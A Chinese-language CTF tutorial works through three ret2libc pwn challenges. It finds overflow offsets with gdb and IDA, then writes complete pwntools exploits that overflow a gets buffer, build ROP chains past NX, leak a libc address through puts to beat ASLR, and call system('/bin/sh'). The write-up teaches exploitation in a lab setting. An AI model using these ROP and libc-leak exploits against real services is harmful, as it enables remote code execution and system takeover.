本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514
基礎知識:
第一題:ret2libc1
我們先用IDA分析下
有一個gets函數會有溢出漏洞,我們在查看下程序的有哪些保護
可以看到開啟了NX,說明我們在棧中的數據沒有執行權限,我們需要使用ROP方式進行繞過
我們使用gdb的pattern進行測試溢出偏移量是112
命令分別是:pattern create 200
執行r命令
輸入生成的字符串
根據提示執行pattern offset xxxxxx
接下里我們要做的是執行系統函數system("/bin/sh"),來獲取系統的權限
所以我們可以想象我們的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr
我們需要system的plt地址以及字符串/bin/sh的地址
system的plt地址可以用IDA來查看,在頁面中使用ALT + T來搜索system
/bin/sh的獲取方式:
所以得到我們的exp為:
from pwn import *
p = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()
第二題
這道題和第一個題沒有太大區別,唯一的區別在于找不到字符串/bin/sh的地址了。所以我們需要重新構造。
除了在程序中查找/bin/sh的地址,我們也可以直接讓用戶輸入。所以我們可以構造以下payload
payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh
payload里的pop_ebx還是pop eax都無所謂,但我們使用ROPgadget在搜索的時候只能搜到pop ebx;ret
接下來我們動態調試下payload發送到ret2libc2后代碼執行過程和棧變化。我們看下exp代碼
from pwn import *
p = process('./ret2libc2')
system_plt = 0x08048490
gets_plt = 0x08048460
buf = 0x0804a0e4 - 16
pop_ebx_addr = 0x0804843d
payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])
pause()
p.sendline(payload)
p.interactive()
也可以是一下exp:
from pwn import *
p = process("./ret2libc2")
elf = ELF("./ret2libc2")
rop = ROP(elf)
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
#自動查找rop,而不需要我們使用ROPgadget去搜索
pop_ret = rop.search(8).address
#pop_ret = 0x0804843d
#elf.bss()代表的是bss段段開始位置(這個位置會比實際的bss起始位置大一些)
buf = elf.bss(0xf)
#buf = 0x0804b000 - 16
payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])
p.sendline(payload)
p.sendline('/bin/sh\n')
p.interactive()
buf變量的值是bss段的內容,我們使用vmmap就可以看到有w權限的bss,在最末尾-16來保存我們gets輸入的內容。
也可以使用display &buf2來找一個變量的地址
運行exp.py,得到pid后使用gdb attach進行調試
一直finish到main函數中
我們發現在執行完main方法的ret之后程序進入了gets函數,說明我們的payload被成功執行了.
第三題:
使用IDA查看代碼
發現有gets函數,存在漏洞,使用GDB加載程序:gdb ./ret2libc3
進入到gdb命令行后,使用checksec查看保護
發現有NX保護,我們使用ROP進行繞過。
我們可以構造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr
關鍵在于如何獲取system和/bin/sh的地址,所以我們使用objdump查看system plt地址
發現plt中沒有system,使用ROPgadget查找/bin/sh的地址
發現沒有/bin/sh,所以我們只能靠自己計算這兩個的值了。
那么我們如何得到 system 函數的地址呢?這里就主要利用了兩個知識點
system 函數屬于 libc,而 libc.so 動態鏈接庫中的函數之間相對偏移是固定的。
即使程序有 ASLR 保護,也只是針對于地址中間位進行隨機,最低的 12 位并不會發生改變。而 libc 在 github 上有人進行收集,如下
https://github.com/niklasb/libc-database
所以我們第一個要做的事情就是判斷這個ret2libc3程序依賴的哪個libc,思路如下:
1、泄露一個ret2libc3函數的位置
2、獲取libc的版本
3、根據偏移獲取shell和sh的位置
4、執行程序獲取shell
這里我們用一個lic的工具https://github.com/lieanu/LibcSearcher
他能幫我們快速的找到system和/bin/sh的地址,但是他需要一個關鍵的東西:一個程序函數的地址
我們知道在Linux的程序中使用了延遲綁定機制,也就是說一個函數在沒有執行前,你是不知道它的真實地址是什么的。而這個程序中我們能看到的有printf函數、gets函數。我們通過這兩個函數來確定libc的版本。代碼如下:
from pwn import *
import time
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
offset = 112
#要泄漏的函數的地址
target_func = 'gets'
#調用puts函數進行打印
puts_func = 'puts'
puts_plt = elf.plt[puts_func]
target_got = elf.got[target_func]
main_addr = elf.symbols['main']
#調用puts函數,打印泄漏函數的got地址,最后返回main函數,在32位程序中調用函數地址的第一個參數就是返回地址,后面的才是參數
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)
#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])
p.sendlineafter("Can you find it !?",payload)
print hex(u32(p.recv()[0:4]))
我們看一下結果:確實后12位是不變的,3e0。(一個字符4個字節,3 *4 = 12)
我們查一下版本:https://libc.blukat.me
版本有點多,我們換個函數,使用puts函數,直接將變量target_func改為puts,查看運行結果:
發現后12位是ca0
經過比對,這兩個版本的地址是一樣的,所以用那個都可以。
最后exp
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
rop = ROP(ret2libc3)
func = 'puts'
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got[func]
main = ret2libc3.symbols['main']# 獲取main函數地址
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
#獲取puts函數運行時的地址
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr
# 實例化LibcSearcher對象
libc = LibcSearcher(func, libc_start_main_addr)
# 計算libc的初始地址(puts的動態地址-puts的偏移地址)
libcbase = libc_start_main_addr - libc.dump(func)
# 計算system地址
system_addr = libcbase + libc.dump('system')
# 計算/bin/sh地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。